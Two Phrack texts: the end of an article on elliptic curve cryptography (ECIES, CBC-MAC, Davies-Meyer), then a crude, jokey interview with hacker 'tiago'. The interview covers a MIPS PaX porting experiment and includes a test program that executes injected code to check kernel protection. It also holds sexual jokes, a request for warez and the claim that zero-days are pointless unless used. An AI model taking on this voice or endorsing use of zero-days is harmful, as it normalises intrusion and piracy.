t1 = E(m1 XOR t0), t2 = E(m2 XOR t1), t3 = E(m3 XOR t2), ...
3. Return the last value obtained in step 2 as MAC(k, m) and
discard t0, t1, t2, ...
Next we show how a block cipher can be used to build a cryptographic
hash function using the "Davies-Meyer" construction. Let m be the
message that is to be hashed. Let E(key,block) be a symmetric
encryption function with block length n and key length l.
1. Split m in l-bit-long submessages m1, m2, m3, ...
2. Calculate the intermediate values h1 = E(m1, 0), h2 = E(m2, h1) XOR
h1, h3 = E(m3, h2) XOR h2, ...
3. If h is the last intermediate value obtained in step 2 return
E(length(m), h) XOR h as hash value and discard h1, h2, h3, ...
The code included in this article uses the block cipher XTEA in
counter mode (CTR) for encryption, a CBC-MAC garantees message
authenticity; finally KDF (see chapter 5) is implemented using XTEA in
Davies-Meyer mode.
Read [XTEA] and [DMhashing] to learn more about the XTEA block cipher
and the Davies-Meyer construction.
---[ 7 - Putting Everything Together: The Source Code
The public domain source code you find at the end of this document
implements the ECIES public key encryption system over the curve
B163. The code is commented, but we outline the design here.
1. The central data structure is a bit vector of fixed but "long"
length. It is the base data type used to represent field elements
and suchlike. The dedicated typedef is called bitstr_t.
Appropriate routines for bit manipulation, shifting, bitcounting,
importing from an ASCII/HEX representation, etc do exist.
2. The functions with "field_" prefix do the field arithmetic:
addition, multiplication and calculation of the multiplicative
inverse of elements are the important routines.
3. ECC points are represented as pairs of elem_t (an alias for
bitstr_t), the special point-at-infinity as the pair (0,0). The
functions prefixed with "point_" act on elliptic curve points and
implement basic point operations: point addition, point doubling,
etc.
4. The function "point_mult" implements the double-and-add algorithm
to compute "k * (x,y)" in the way described in chapter 3 .
5. The "XTEA"-prefixed functions implement the XTEA block cipher,
but also the CBC-MAC and the Davies-Meyer construction.
6. The "ECIES_"-routines do the ECIES related work.
ECIES_generate_key_pair() generates a private/public key pair,
ECIES_public_key_validation() checks that a given point is
on the curve and generates a group of order "n".
ECIES_encryption/ECIES_decryption do what their names imply.
7. A demonstration of the main ECIES functionalities is given in the
program's main() section.
The code may be compiled like this:
gcc -O2 -o ecc ecc.c
---[ 8 - Conclusion
We have seen how crypto systems are built upon algebraical groups that
have certain properties. We further gave an introduction into a special
class of appropriate groups and their theory, namely to the binary
elliptic curves. Finally we presented the secure public key encryption
scheme ECIES (together with necessary symmetrical components). All
this is implemented in the source code included in this article.
We recall that besides security the central design goal of the code
was compactness, not speed or generality. Libraries specialized on EC
cryptography benefit from assembler hand-coded field arithmetic
routines and easily perform a hundred times faster than this code.
If compactness is not essential for your application you might opt for
linking against one of the following ECC capable free crypto libraries
instead:
Crypto++ (C++) http://www.eskimo.com/~weidai/cryptlib.html
Mecca (C) http://point-at-infinity.org/mecca/
LibTomCrypt (C) http://libtomcrypt.org/
borZoi (C++/Java) http://dragongate-technologies.com/products.html
---[ 9 - Outlook
You have learned a lot about elliptic curves while reading this
article, but there still remains a bunch of unmentioned ideas. We
list some important ones:
1. Elliptic curves can be defined over other fields than binary ones.
Let p be a prime number and Z_p the set of nonnegative integers
smaller than p. Then Z_p forms a finite field (addition and
multiplication have to be understood modulo p, see
[ModularArithmetic] and [FiniteField]).
For these fields the elliptic curve E(a, b) is defined to be the
set of solutions of the equation
y^2 = x^3 + ax + b
plus the point at infinity 'o'. Of course point addition and
doubling routines differ from that given above, but essentially
these "prime curves" form an algebraical group in a similar way as
binary curves do. It is not that prime curves are more or less
secure than binary curves. They just offer another class of groups
suitable for cryptographic purposes.
NIST recommends five prime curves: P192, P224, P256, P384 and P521.
2. In this article we presented the public key encryption scheme
ECIES. It should be mentioned that ECC-based signature schemes
(see [ECDSA]) and authenticated key establishment protocols ([MQV])
do also exist. The implementation is left as exercise to the
reader.
3. Our double-and-add point multiplicator is very rudimentary. Better
ones can do the "k * P" job in half the time. We just give the idea
of a first improvement:
Suppose we want to calculate 15 * P for a curve point P. The
double-and-add algorithm does this in the following way:
15 * P = 2 * (2 * (2 * (2 * 'o' + P) + P) + P) + P
This takes three point doublings and three point additions
(calculations concerning 'o' are not considered).
We could compute 15 * P in a cleverer fashion:
15 * P = 16 * P - P = 2 * 2 * 2 * 2 * P - P
This takes four doublings plus a single addition; hence we may
expect point multiplicators using this trick to be better
performers than the standard double-and-add algorithm. In practice
this trick can speed up the point multiplication by about 30%.
See [NAF] for more information about this topic.
4. In implementations the most time consuming field operation is
always the element inversion. We saw that both the point addition
and the point doubling routines require one field division each.
There is a trick that reduces the amount of divisions in a full "k
* P" point multiplication to just one. The idea is to represent the
curve point (x,y) as triple (X,Y,Z) where x = X/Z, y = Y/Z. In this
"projective" representation all field divisions can by deferred to
the very end of the point multiplication, where they are carried
out in a single inversion.
Different types of coordinate systems of the projective type
are presented in [CoordSys].
---[ A - Appendix: Literature
A variety of interesting literature exists on elliptic curve
cryptography. I recommend to start with [G2ECC] and [ECIC]. Other good
references are given in [ECC].
Elliptic curves and cryptographical protocols using them have been
standardized by IEEE [P1363], ANSI (X9.62, X9.63) and SECG [SECG], to
list just some.
See [Certicom] and [ECCPrimer] for two tutorials about ECC.
The best reference about classical cryptography is [HAC].
[G2ECC] Hankerson, Menezes, Vanstone, "Guide to Elliptic Curve
Cryptography", Springer-Verlag, 2004
http://www.cacr.math.uwaterloo.ca/ecc/
[ECIC] Blake, Seroussi, Smart, "Elliptic Curves in Cryptography",
Cambridge University Press, 1999
http://www.cambridge.org/aus/catalogue/catalogue.asp?isbn=0521653746
[HAC] Menezes, Oorschot, Vanstone: "Handbook of Applied Cryptography",
CRC Press, 1996, http://www.cacr.math.uwaterloo.ca/hac/
[Groups] http://en.wikipedia.org/wiki/Group_(mathematics)
[Lagrange] http://en.wikipedia.org/wiki/Lagrange's_theorem
[CyclicGroups] http://en.wikipedia.org/wiki/Cyclic_group
[GroupTheory] http://en.wikipedia.org/wiki/Elementary_group_theory
[DLP] http://en.wikipedia.org/wiki/Discrete_logarithm
[DH] http://en.wikipedia.org/wiki/Diffie-Hellman
[ElGamal] http://en.wikipedia.org/wiki/ElGamal_discrete_log_cryptosystem
[AliceAndBob] http://en.wikipedia.org/wiki/Alice_and_Bob
[FiniteField] http://en.wikipedia.org/wiki/Finite_field
[FieldTheory] http://en.wikipedia.org/wiki/Field_theory_(mathematics)
[FieldTheoryGlossary] http://en.wikipedia.org/wiki/Glossary_of_field_theory
[FieldArithmetic] http://en.wikipedia.org/wiki/Finite_field_arithmetic
[ModularArithmetic] http://en.wikipedia.org/wiki/Modular_arithmetic
[ECC] http://en.wikipedia.org/wiki/Elliptic_curve_cryptography
[EllipticCurve] http://en.wikipedia.org/wiki/Elliptic_curve
[PointArith] http://wikisource.org/wiki/Binary_Curve_Affine_Coordinates
[DoubleAndAdd] http://en.wikipedia.org/wiki/Exponentiation_by_squaring
[NIST] http://csrc.nist.gov/CryptoToolkit/dss/ecdsa/NISTReCur.ps
[NISTParams] http://wikisource.org/wiki/NIST_Binary_Curves_Parameters
[PollardRho] http://en.wikipedia.org/wiki/
Pollard's_rho_algorithm_for_logarithms
[XTEA] http://en.wikipedia.org/wiki/XTEA
[DMhashing] http://en.wikipedia.org/wiki/Davies-Meyer_construction
[ECDSA] http://en.wikipedia.org/wiki/Elliptic_Curve_DSA
[MQV] http://en.wikipedia.org/wiki/MQV
[NAF] http://en.wikipedia.org/wiki/Non-adjacent_form
[CoordSys] http://wikisource.org/wiki/Wikisource:Cryptography
[P1363] http://en.wikipedia.org/wiki/IEEE_P1363
[SECG] http://en.wikipedia.org/wiki/SECG
[Certicom] http://www.certicom.com/index.php?action=ecc,ecc_tutorial
[ECCPrimer] http://linuxdevices.com/articles/AT7211498192.html
---[ B - Appendix: Code
$ cat ecc.c.uue
begin 644 ecc.c
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size 15669
f86c92039c992d2d2bd2b85c8807ac2f7af57c5c
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
phrack.org:~# cat .bash_history
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x04 of 0x14
|=---------------=[ P R O P H I L E O N T I A G O ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Phrack Staff ]=-----------------------------=|
|=---=[ Specification
Handle: tiago
AKA: module
Handle origin: Lemme call my mom and ask, just a second...
ok; "it was between pedro henrique and tiago,
but after looking for reasons that would define
we decided to throw a coin: head".
catch him: By producing whatsoever sign/event pair that
would take my attention and get you the expected
feedback.
Age of your body: 24
Produced in: Southeastern Coconutland
Height & Weight: 178cm, 70kg
Urlz: .
Computers: SGI Indy (R4600PC at 100MHz, 128MB RAM, 2GB
hdd), Sun Ultra-10 (UltraSparc IIi at 440MHz,
1GB RAM, 9GB hdd), Toshiba Portege 4005
laptop (Intel P3 at 800MHz, 512MB RAM, 20GB
hdd).
Member of: Teletubbies
Projects: Many fields in computer theory. Software
Engineering subjects such as: Abstract
Interpretation, Program Transformation, Reverse
Engineering, etc. Applied cryptography at work.
Enjoy hardware design, operating system
design/implementation hacks, software
design/implementation security related
exploitation. Anything that actually takes
my attention for whatever reason.
|=---=[ Favorite things
Women: je veux un petite pipe, s'il vous plait
Cars: I don't know how to drive
Foods: taco-taco brrrito-brritooo
Alcohol: combined with Benflogin
Music: Symantec iz in tha houuuuuuuuuse!!!!! c'mon
c'mooooooon sing sing! see tha solution! Symanteeeec,
revoooolutiooooon... we give yooooooouuu... sweet
soluttiooooonnss \o\ /o\ \o\ /o/ We! got your personal
firewalllz! ... dunt dunt..
-> http://www.phrack.org/symantec_fancyness.mp3,
por favor.
Movies: GOBBLES.avi
Books & Authors: HUHU, books are fancy q:D -- stuff that have been
remarkable on my near past. still reading some:
. Whom the Gods Love: The Story of Evariste Galois,
infeld, (spanish, by Siglo Veintiuno Editores);
. Computer Architecture: A Quantitative Approach,
hennessy & patterson (english, by MK);
. Comprehensive Textbook of Psychiatry, kaplan &
sadock (english, LWW);
. The Art of Computer Programming, vol. 1-3, knuth
(3rd Ed., Addison Wesley) -- <3 dutchy;
. Systems and Theories in Psychology, marx & hillix
(portuguese, by Alvaro Cabral);
. Cognitive Psychology and its Implications, anderson
(portuguese, by LTC);
. Axiomatic Set Theory, bernays (english, by Dover,
2nd Ed., 1968-1991);
. La Fine della Modernit, vattimo (portuguese, by
Martins Fontes);
. Grundlegung zur Metaphysik der Sitten, kant (english,
by H.J. Paton);
. Einfhrung in die Metaphysik, heidegger (english, by
Gregory Fried and Richard Polt);
. Principia Mathematica, russel (english, by Cambrige
Mathematical Library, 2nd Ed., 1927-1997);
. Uber formal unentscheidbare Satze der Principia
Mathematica und verwandter Systeme, I, gdel (english,
by B. Meltzer);
. Tractatus Logico-Philosoficus, wittgenstein (english,
by Routledge & Kegan Paul);
. A Philosophical Companion to First-Order Logic,
hughes (english, by R.I.G.);
. Freedom and Organization 1814-1914, russel (english,
by Routledge);
. Ethica, spinoza (english, by Hafner);
. Gdel's Proof, nagel & newman (english, by NYU);
. Zur Genealogie der Moral, nietzsche (english, by
Douglas Smith);
. Theory of Matrices, perils (englisn, by Dover,
1958-1991);
. Modern Algebra, warner (english, by Dover,
1965-1990);
. Security Assessment: Case Studies for Implementing
the NSA -- National Symposium of Albatri;
Urls: www.petiteteenager.com
I like: HUHU'ing
I dislike: not HUHU'ing
|=---=[ Life in 3 sentences
DG = DH - TDS
|=---=[ Passions | What makes you tick
Too complex to be described with a set of words: totally undecidable;
cannot be solved by any algorithm whatsover -- equivalently, english,
portuguese, .... Cannot be recognized by a Turing Machine, of which
should halt for any input...
... but for coconuts!
|=---=[ Which research have you done or which one gave you the most fun?
Anything that made me stop and, extra-ordinarily, question the extra-ordinary.
|=---=[ Memorable Experiences
Going against my family and staying at the computer through nights.
Having this to allow me to have fun and feel pain. Looking for the
utopic job. Going to south Brazil, Mexico, and northeast Brazil to find
it. Meeting the people I have met through this quest, seeing the
history I have seen passing in front of my eyes in every place I
stepped. Being drunk, being sober, falling down and off. Getting
fucking up and HUHU'ing again. And again.
Feeling, being cold, believing and being agnostic. Fighting. Getting girls
for the pleasure and falling apart for theirs. Prank-calling, chopp-touring,
writing, counting. Stopping.
Looking for sharks, surfing, breaking my phusei-self. Going and
bringging others into this.
Being.
|=---=[ Quotes
. HUHU
. \o/
. /o\
. wish I was dead so I could be happy and safe!
. \o\
. q:D
. :S
. you better call someone smart!
. \o\
. :/
. I'd rather have 300 beers a month than a formal education
. /o/
. <3
|=---=[ Open Interview - General boring questions
Q: What was your first contact with computers?
A: Since really young I used to go to my grandparents' on the weekends.
When I was 8 I started having some fun by sniffing around my uncle's
electronic lab located at the back side of his room (the guy was an
electronic eng. grad. student at the time). Fetching experiences
from the subject I can tell I used to go crazy about the place --
serio. From encyclopedias, through pieces of plastic, ending in
broken VCR's and widely exposed TV's. In certain saturday of my 11's
there was little tiago playing around that room: I can clearly
remember climbing (theo style) the closet, looking for fun objects,
when I faced this box; I took it, I opened it, I faced a computer.
Assembled by some brazilian manufactor, there was the CP200 with a
board based on a Z80A CORE. There was tiago huhu'ing around because
of that piece of fancyness. It lasted for exact 3 months, till the
day the tape that was responsable for connecting the keyboard to the
main board got screwd; ripped -- R.I.P. 3 months were enough for
playing around with basic BASIC and abstracting that new fancy
stuff. The time went through and I haven't had the possibility of
having a computer again. In january 1996 I went to Sao Paulo, kids
vacations you know. I stood with an uncle whom had this company of
which had some DOS based machines, maintained by this Clipper
programmer. I remember perfectly being "taught" how to turn on the
computer an press the keys. Very few time after this moment I was
being introduced to this very fancy toy known as PCTools -- anyone?
Yes, there was 15 year old tiago, who could barely turn on that
thing, giving his first steps on reverse engineering. 15 days, that
was the exact time of my exposition to the environment. Again, no
more computers. August 1999, dad arrives home with a Packard Bell
station. It was a Pentium MMX at 166MHz, with the amount of 16MB of
RAM, and a 3.1GB IBM hard disk. Not just that, it had multimedia
fancyness and the great thing known as modem. It carried, and was
being carried by, a Windows 98 operating system. Wow! tiago had his
first modern computer. Yes. But wait, where is my black screen full
of unintelligible numbers written on green letters?! Fuck this!
Frustration... time.. Internet! time.. ICQ! time ... IRC, #hacking.
"yo, click start menu, execute. Now type: telnet huhu.fancyworld.net
1470" -- orgasm --. It happened till the day I questioned what those
sequence of magical pressed-keys actually meant. And then it
began... HUUUU! coding! HUHUHUHHUHHUHUHUHUHUHUHUHUHUHUHUHUHUHU
HUHUHUHUHUHU :D:D:D q:D \o/ \o\ /o/ /o/ /o\ \o/
But yeah, that crazy image of a bunch of green code in a dark screen
never went out of my mind, I needed to go lower-level... and so I
went, and keep on going, to never reach, to never end.
Wait, I would like to make a comment out of the belou, kthx: there
is no point to writting zero-day if you are not going to use it!
I'm welcome.
Q: What was your first contact with computer security and how important
for you is computer security relative to your interest in computers in
general?
A: In the end of the above story. After that I've met some other
coconuts who have been responsable for my first real adventures in
security. That was the real kick: reading phrack and going HUHU,
reading code, not having a damn clue of what it was doing, and being
days awake till I could get the mininum insight. Getting bored of the
"usual" things, giving the finger to the "common games" and comming to
play in whatever I pleased.
How important? It transformed me into a new form of coconut.
Q: Being relatively seperate from the "scene" in general, what was your
opinion on the concept of "the scene" and was your distance from this
concept (that may possibly exist) deliberate or not?
A: As I see, it is just another society around there.
As the "getting into it" was happening, I tended to get more and more
detached from this so called "scene". My being was thrown aside by the
scene. All I wanted was to sit down and hack. I couldn't digest it and
it couldn't digest my self. I sat back, I played, I watched you guys.
Q: Actually isn't the whole current concept of "scene" a big load of
social correlation and acceptability bullshit?
A: It is "normal"; expected. Nothing that I don't see when I go to the
bakery or to a club with friends. People "look", people perceive,
people infer -- people judge based on their a priori context.
What in the hell am I doing?
Q: What do you think of Phrack magazine? Do you think it should be
"resurrected" or continued to be maintained? If so, do you think it
should change themes in any way (since many suggest that phrack is no
longer a magazine for hackers but some bullshit academic fame making
fluff for the computer security industry)? Would you rather see a
Phrack that exclusively published movie reviews and cooking tips?
A: It was responsable for many HU's bumping inside my head. I jumped, I
got pissed, injuried and healthy. It gave me inputs, it drove me to
many outputs, where all the results in between these events were
responsable for keeping this coconut going on. Going on is the point,
why to stop it? I was getting bored of the articles, yes. But I believe
this is more for my personal changes than actually the magazine's.
However, I see some big tendency of articles (as a reflection of the
scene) converging always to the same place and getting stuck there, in
a boring iteration that never ends. I've played with Linux's execution
environment and the technical specs linked to it, but then I went to
something else -- this being the same game, now with PalmOS or simply
going play with Optimization, Obfuscation, or to hack the IrDA's driver
of my laptop. How can people write articles on what you call "shellcodes"
for every single computer architecture, operating system, supported
ABI's, supported ISA's, or whatever? Isn't that just a matter of
getting manuals? Why to dissert about the ELF format file and the
dynamic linking system of some specific plataform without any
"improvement" (take this as a big boom, I don't think it's worth to
define the term here) in a "hacking technique"? I think that is what
sucks in phrack nowadays. About the academic style, I have problems
with formalism myself. Something what I really appreciate in phrack,
for instance, is this mid-level formalism when compared to the academy.
I believe it is very interesting the fact that you can submit a
compilation of techniques with some basic scraps about it, in a
non-defined format or dissertative way. If people behind it think the
content is good, it will make it. Though, I also think that the minimum
formalism is necessary, otherwise it gives excessive room for nonsense
to be exposed, and I don't think it is cool for people to read
"Assembly HOW-TO's" that "teach" you the usage of some "instructions",
for some specific plataform, in some very restricted context and make
the reader to believe they understand about that universe.
About fame: unfair but expected -- feel like vomiting whenever I think
of myths, however if I re-gurgitate myths will deliberately be pulled
out, as gastric ulcer, of my very self.
I would love to see a review of the /home/PORNO/ collection, indeed.
And I really expect to be having some dope french food till the end of
the year, yes.
Q: What do you have to say about that whitehat/blackhat opposition that
gained more attention in the last years and what do you reply to those
people calling you a whitehat because one of your project was about
porting PaX?
A: How would I get called if I was running in circles and blubbering
whilst wearing an orange suit? Teletubbie?
Q: How would you qualify the hacking underground in 2005? Many people
think there is no more underground because of all the commercial
bullshit around security. Any comments?
A: I believe thinking about this is an act of oblivion. You might be
able to determine several characteristics and classify the pros and
cons of the process. Though, as the process' development gets strongger
its transformation power increases as well, thus the number of
"ideal-branches" within this social group tend to increase and react
between themselves. How are Montmartre and Montparnasse nowadays?
Q: Who are your heroes of computer security, and why?
A: I have many, serio -- and I'm a lucky bastard for being able to
meet/know many of them. But what difference would it really make if I
told you? The heroes are mine, the fucking myths are mine.
Can I make a question myself? kthx.
Q: Coxinha+guarana or Exchange 0-day?
A:
Q: How do you define the term "hacker"?
A: I believe symbolic references determine a "fact". A linguistic
representation of someone's type of reality, at certain time. As the
Being of that being changes, so does its perception about that fact.
When beings as such, or even as Nothing, interact, entropy increases
and the fact tends to get more deformed. The technicism helps the
process, as information media get more powerful and globally spread.
Consumate Nihilism. I believe.
Q: Come on, 'fess up. You're brazillian after all, so name all the
sites you've defaced.
A: HAPPY BIRTHDAAAAAAAY!!!!!!!!!!!!!!!1
Q: If you were having sex with route, would you be the top or bottom?
A: I would try both. I would try others. Though I would really just be
interested in the muscles, tattoos and guns :D
Q.1: We hear you're the guy who schooled pageexec@freemail.hu on PaX.
Is this true? Explain.
Q.2: What was your motivation in porting PaX to MIPS, what were the
biggest problems you encountered and how did you resolve them?
A: Schooled? I don't think so :>. There is this story about the
impossibility of PAGEEXEC on MIPS based computers, initiated by the
great Theoretical de Raadt {[1],[2]}.
Motivation: I simply thought it would be fun to try to prove it wrong
and started playing around. In the end, I just found out I was the
wrong one. For now at least :>
[Warning]
I'd like to advise that I'm DRUNK, at Bulas's, having a great party in
the name of Tango's bday: happy bday, Tango!!! No aids, bro ;> just
beerz and cheerz!
[First approach]
Trying to play with caching system. Failed.
[From Linux-MIPS mailing list]
"PAX can't be fully supported on MIPS anyway; the architecture doesn't
have a no-exec flag in it's pages. PAX docs are bullshit btw.
execution proection doesn't require a split TLB and anyway, the MIPS
uTLBs are split." -- Ralf
[Response] (despite the fact that Ralf, one of my fancy germans, missed
the entire point of the PaX project)
I see that MIPS has split TLB's, which can not be distinguished by
software level, in another hand. Thus when a page-fault occours I don't
see how a piece of (non-microcoded) exception handler can get aware
whether the I-Fetch is being done in original ``code area'' or as an
attempt to execute injected payload in a memory area supposed to carry
only readable/writeable data. Plus the fact that JTLB holds references
to data and code together in the address translation cache. Plus
situations like kseg0 and kseg1 unmaped translations, which would
occour outside of any TLB (having virtual address subtracted by
0x80000000 and 0xA0000000 respectively to get physiscal locations)
making, as you mentioned, only split uTLB's (not counting kseg2 special
case). But PaX wants to take care of kernel level security too.
Even MIPS split cache unities (which can be probed separately by
software) wouldn't make the approach possible since if you have a piece
of data previously cached in D-Cache (load/store) the cache line would
need to suffer an invalidation and the context to be saved in the
I-Cache before the I-Fetch pipe stage succeeds.
Indeed, execution protection (in a general way) does not require split
TLB. Other solutions designed and implemented by PaX are SEGMEXEC
(using specific segmentation features of x86 basead core's) and
MPROTECT. The last one uses vm_flags to control every memory mapping's
state, ensuring that these never hold VM_WRITE | VM_MAYWRITE together
with VM_EXEC | VM_MAYEXEC. But as the solution becomes more complex it
also tends to get more issues. First of all, this wouldn't be as simple
and ``automatic'' as per page control. Another point is that this
solution wouldn't prevent kernel level attacks so, among others, any
compromise in this level could lead to direct manipulation of a task's
mappings flags. At the end a known problem is an attacker who is able
to write to the filesystem and to request this file to be mapped in
memory as PROT_EXEC. In other words: yes it is possible to achieve
execution protection in other ways, but not as precise as page-level.
[Second approach]
"Plus the fact that JTLB holds references to data and code together in
the address translation cache." went from a problem to a solution, when
discussing it to PaX team.
The quote:
"Multiple Matches: If more than one entry in the TLB matches the
virtual address being translated, the operation is undefined." -- from
[3].
The algorithm:
- from the Refill exception handler, check fetching type {
* _EPC = EPC;
* if CP0(Cause(BD)) [
. _EPC += 4;
]
* compare ( CP0(_EPC) , CP0(BadVaddr) ) [
. if TRUE ( I-Fetch );
. else ( D-Fetch );
]
* I-Fetch [
. build the valid PTE and load it normally in the J-TLB;
]
* D-Fetch [
. build a valid PTE and load it in the J-TLB;
. force it to be loaded in our lovely entry in the D-TLB (
__asm__ __volatile__ ("lw %0,0(%1)"\
: "=r" (user_data)\
: "r" (address));
)
. build an invalid PTE, for the same ASID/VPN, marked by PaX (
static inline pte_t pte_mkpax(pte_t pte)
{
pte_val(pte) &= ~(_PAGE_READ|_PAGE_SILENT_READ|_PAGE_DIRTY);
}
)
. load the invalid entry in the J-TLB
]
}
The conjecture:
If a I-Fetch happens to that (previously marked by PaX) page, the
circuit's TLB sorting algorithm should take the invalidated entry from
J-TLB, load it within the I-TLB and generate a second page fault by
trying to make use of this entry.
- from the Refill exception handler, check fetching type {
* _EPC = EPC;
* if CP0(Cause(BD)) [
. _EPC += 4;
]
* compare ( CP0(_EPC) , CP0(BadVaddr) ) [
. if TRUE ( I-Fetch );
. else ( D-Fetch );
]
* I-Fetch [
. for PaX marked pages (
pax_report_fault(...);
do_exit(SIGKILL);
)
. for non PaX pages, build the valid PTE and load it normally
in the J-TLB;
]
}
[The experiment]
The computer:
IDT 79RV4600-100, 128MB of RAM.
- Executive code {
* play with CP0(Index);
* play with CP0(EntryLo)'s flags;
* play with CP0(Wired);
}
- Dump the Translation Lookaside Buffer entries to disk {
* look for patterns;
}
The user code:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/page.h>
/* jr $31 ; nop */
const unsigned long payload[] = { 0x03e00008, 0x00000000 };
int
main(int argc, char **argv)
{
unsigned long page,
vpn;
void *vaddr;
int fd;
/* mmap itself won't load/store the page, which means a virgin
* place so we can be the fault's EPC.
*/
if (argv[1]) {
fd = open(argv[1],O_RDWR);
vaddr = mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,\
MAP_PRIVATE, fd, 0);
} else {
/* malloc's internals stores then loads somewhere in
* the page range, it will generate our fault.
*/
/* This is ridiculous, but MIPS glibc's
* does brk(PAGE_SIZE * 33) even if you
* just want to malloc(few bytes), normally you get:
* -> brk (0x10001000 + (PAGE_SIZE * 33))
*
* If malloc requested size > 33 pages then it old_mmap
* PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS
*
* Even funnier cause as far as I can tell glibc
* assumes size >= 32 (instead of 33) to then
* get_unmapped_area....
*
* Thinking about the whole MIPS architecute i can't
* think of anything that could justify this crap.
*/
vaddr = malloc (33 * PAGE_SIZE);
memcpy(vaddr, (void *) payload, 8);
}
page = ((unsigned long) vaddr & (PAGE_MASK));
vpn = ((unsigned long) vaddr & (PAGE_MASK << 1));
printf("Payload @ %08lx\n", (unsigned long) vaddr);
printf("CP0_BADVADDR : %08lx [VPN = %08lx]\n\n", (page+8), vpn);
/* I-Fetch vaddr */
asm(
"or $8,$2,$3\n"
"jalr $8\n"
: : "r" (page), "r" (((unsigned long) vaddr & ~(PAGE_MASK)))
);
return page;
}
[The results]
Patterns:
No pattern. Sorting algorithm seems undecidable from the software
interface.
- Output example {
surreal kernel: ######################################################
surreal kernel: [do_page_fault] : Program : Hello [3218]
surreal kernel: [do_page_fault] : CP0_BADVADDR : 2aac3004
surreal kernel: [do_page_fault] : EPC : 2ab90928
surreal kernel: ---> TLBS Exception (1000ffdb)
surreal kernel:
surreal kernel: ------------------------[BEFORE]---------------------
surreal kernel: [__update_tlb] : Program : Hello [3218]
surreal kernel: [__update_tlb] : CP0_BADVADDR : 2aac3004
surreal kernel: [__update_tlb] : ASID : 00000062
surreal kernel: [__update_tlb] : EntryHi : 2aac2062
surreal kernel: [__update_tlb] : EntryLo0 : 32565e
surreal kernel: [__update_tlb] : EntryLo1 : 0
surreal kernel: [__update_tlb] : Index : 45
surreal kernel:
surreal kernel: ---- TLB Entries ----
.............................................................
surreal kernel: Index: 45 pgmask=4kb va=2aac2000 asid=62
surreal kernel: EntryLo0 : [pa=0c959000 c=3 d=1 v=1 g=0]
surreal kernel: EntryLo1 : [pa=00000000 c=0 d=0 v=0 g=0]
surreal kernel:
surreal kernel: ------------------------[AFTER]----------------------
surreal kernel: [__update_tlb] : Program : Hello [3218]
surreal kernel: [__update_tlb] : CP0_BADVADDR : 2aac3004 [00000000]
surreal kernel: [__update_tlb] : ASID : 00000062
surreal kernel: [__update_tlb] : EntryHi : 2aac2062
surreal kernel: [__update_tlb] : EntryLo0 : 32565c
surreal kernel: [__update_tlb] : EntryLo1 : 3297dc
surreal kernel: [__update_tlb] : Index : 47
surreal kernel:
surreal kernel: ---- TLB Entries ----
.............................................................
surreal kernel: Index: 45 pgmask=4kb va=2aac2000 asid=62
surreal kernel: EntryLo0 : [pa=0c959000 c=3 d=1 v=1 g=0]
surreal kernel: EntryLo1 : [pa=0ca5f000 c=3 d=1 v=1 g=0]
surreal kernel:
surreal kernel: Index: 47 pgmask=4kb va=2aac2000 asid=62
surreal kernel: EntryLo0 : [pa=0c959000 c=3 d=1 v=0 g=0]
surreal kernel: EntryLo1 : [pa=0ca5f000 c=3 d=1 v=0 g=0]
}
- Working example {
tiago@surreal(~)$ ./Hello
Payload @ 2aac3008
CP0_BADVADDR : 2aac3008 [VPN = 2aac2000]
Killed
tiago@surreal(~)$ uname -a
Linux surreal 2.6.9-rc2 #125 Thu Oct 28 05:38:27 BRT 2004 mips unknown
tiago@surreal(~)$
.............................................................
surreal kernel: ################## EXECUTION ATTEMPT #################
surreal kernel: [do_page_fault] : Program : Hello [3218]
surreal kernel: [do_page_fault] : CP0_BADVADDR : 2aac3008
surreal kernel: [do_page_fault] : EPC : 2aac3008
}
- Possible reasons {
* timing;
* stupidity;
* ...;
}
So? Looking at some opencores.org's projects and checking their MMU
circuit implementations that might get me some ideas.
Ah! Yes, BTW, if you have the HDL project of the Stanford MIPS, or any
of its children, please hook me up -- warez. kthx.
[1] http://www.securityfocus.com/archive/1/333303/2003-08-09/2003-08-15/2
[2] http://cvs.openbsd.org/papers/auug04/mgp00009.html
[3] MIPS R4000 Microprocessor's User Manual, 2nd Ed. (p.62).
|=---=[ Open Interview - The real cool questions
Q: Is the true you still entertain relation with the KIQ team? what kind
of missions did you realised for them?
A: I hate soccer.
Q: How close is your personal relation with the scene whore halfdead?
tell us about .ro/.br gangbangs...
A: The hawk that is big?
Q: We heard mayhem is moving to your country escaping french fascist
laws, have you never tried ELFsh?
A: Hrmmm, in fact it's just a genius play from big local beuh dealers.
Guinness?
Q: You said 4times by the past after posting bullshit in dailydave,
you'll never do it again, but you are still posting. How do you live
that addiction? Any idea why noone reading that mailing list can't
understand a word of your philosofical ideas?
A: 4? I've said it 82 times.
I simply don't think of the subject, it's like having aids and being
concerned about it.
Are you nuts? I know for sure I'm the only retarded capable to
understand my symbolism ;P
Q: Coxinhaaaaa?
A: Bico
Q: About philosophy, why you ended in ITS world? There are rumors about
you talking to your computers about your philosophy and asking them to
comment before you post in dailydave?
A: See 'Life'. False! That's why they suck so much.
Q: Absynthe?
A: Sharks!
Q: Did you try to put some sense to your philosofical ideas _without_
any absynthe effect?
A: Bohmes, Dan Frank. <3
Q: Does the number of 'hu' has a signification for you?
A: Huhuhuhuhuhu hu huhuhu
Q: Is there any kind of relation between 'hu' and 'uh'?
A: Uh? Hu!
Q: Absynthe?
A: Spain
Q: Rumor has it that pax team strong-armed you into being his MIPS
bitch, any comments?
A: :< Not fair. I almost cried because of petite pip.
Q: How did your transition from inline skating to inline assembly come
about?
A: Sliding...
Q: Which would you say has bigger scenewhores, the hacking scene or the
X-games scene?
A: 540 into True-spin kind grind, fake 360 out.
Q: What does 'hu' actually mean?
A: Mean? :/
Q: What are your opinions on finger(1) ?
A: HUHUHUHUHU q:D
Q: Free [RaFa] ?
A: Sit on your feet
Q: Do you have anything to say to all the people scuttling around
trying to figure out who the fuck you are right now?
A: If they're really worried about that they should stop scuttling and
start blubbering instead.
Q: We would like to congratulate you on a succesful Phrack Prophile
defacement, and actually managing to get it distributed. How _did_ you
pull it off?
A: I didn't :D
Q: Can you answer a question with a paragraph less than 20 lines long?
A: No.
Q: Is your love of MIPS related at all to the 'Coyote & Road Runner'
cartoon?
A: "See MIPS Run"?
